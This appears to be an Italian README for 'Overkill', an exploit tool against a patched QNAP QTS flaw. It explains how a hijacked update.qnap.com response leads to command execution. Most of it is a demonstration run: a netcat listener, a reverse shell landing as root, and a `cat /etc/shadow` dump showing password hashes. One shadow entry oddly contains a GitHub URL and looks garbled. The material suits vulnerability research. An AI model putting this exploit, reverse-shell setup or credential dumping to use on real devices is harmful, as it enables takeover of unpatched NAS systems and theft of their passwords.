
QNAP N-Day (Probabilmente non CVE-2020-2509)
Overkill è un exploit per una vulnerabilità corretta che colpisce QNAP QTS. A causa del modo in cui QNAP divulga le vulnerabilità, non sono sicuro se questo problema abbia un CVE o meno. Tuttavia, è stato probabilmente corretto a novembre 2020 e ad aprile 2021. La n-day è stata "scoperta" durante l'analisi delle differenze per CVE-2020-2509. Questo non è quasi certamente CVE-2020-2509.
L'exploit invia richieste HTTP GET a /cgi-bin/qnapmsg.cgi?lang=xxx che farà sì che i dispositivi QNAP non corretti scarichino un file XML da update.qnap.com tramite HTTP non sicuro. Un utente malintenzionato che può reindirizzare update.qnap.com verso di sé può rispondere con un file XML controllato dall'attaccante. Quando il QNAP analizza il file XML, passerà alcuni dei contenuti a una chiamata system, ottenendo una reverse shell.
Questo exploit non implementa il metodo per far sì che le richieste a update.qnap.com vengano reindirizzate all'exploit. Nell'esempio seguente, stavo usando l'hijacking DNS del router sul mio router... i risultati possono variare.
albinolobster@ubuntu:~/overkill$ sudo python3 overkill.py --rhost 10.12.70.251 --lhost 10.12.70.252
01001001001000000110001101100001011011100010011101110100001000000110011101100101
______ ___ ___ _______ _______ __ ___ __ ___ ___
/ " \|" \ /" |/" "| /" \ |/"| / ") |" \ |" | |" |
// ____ \\ \ // /(: ______)|: |(: |/ / || | || | || |
/ / ) :)\\ \/. ./ \/ | |_____/ )| __/ |: | |: | |: |
(: (____/ // \. // // ___)_ // / (// _ \ |. | \ |___ \ |___
\ / \\ / (: "||: __ \ |: | \ \ /\ |\( \_|: \( \_|: \
\"_____/ \__/ \_______)|__| \___)(__| \__)(__\_|_)\_______)\_______)
01110100001000000111010001101111001000000111001101101100011001010110010101110000
🦞 jbaines-r7
[+] Forking a netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Spinning up HTTP server
[!] Attempting http://10.12.70.251:8080/cgi-bin/qnapmsg.cgi?lang=eng
[+] Received an HTTP request from 10.12.70.251 on 27/Jul/2022 11:58:23
[*] Requested /loginad//qnapmsg_eng.xml
10.12.70.251 - - [27/Jul/2022 11:58:23] "GET /loginad//qnapmsg_eng.xml HTTP/1.1" 200 -
Connection received on 10.12.70.251 44630
bash-3.2# uname -a
uname -a
Linux NAS4A32F3 4.2.8 #1 SMP Sun Nov 8 01:50:48 CST 2020 aarch64 GNU/Linux
bash-3.2# id
id
uid=0(admin) gid=0(administrators)
bash-3.2# cat /etc/shadow
cat /etc/shadow
admin:!$1$5pFeLUat$D8jTQogWJy0HF3XjkD13q/:19181:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:19181:0:99999:7:::
albinolobster:$1$cZCC65z5$NXtIBB4hgqzVG.PHyShKh1:19195:0:99999:7:::
[sshd]:https://raw.githubusercontent.com/jbaines-r7/overkill/main/!:19181:0:99999:7:::
bash-3.2# exit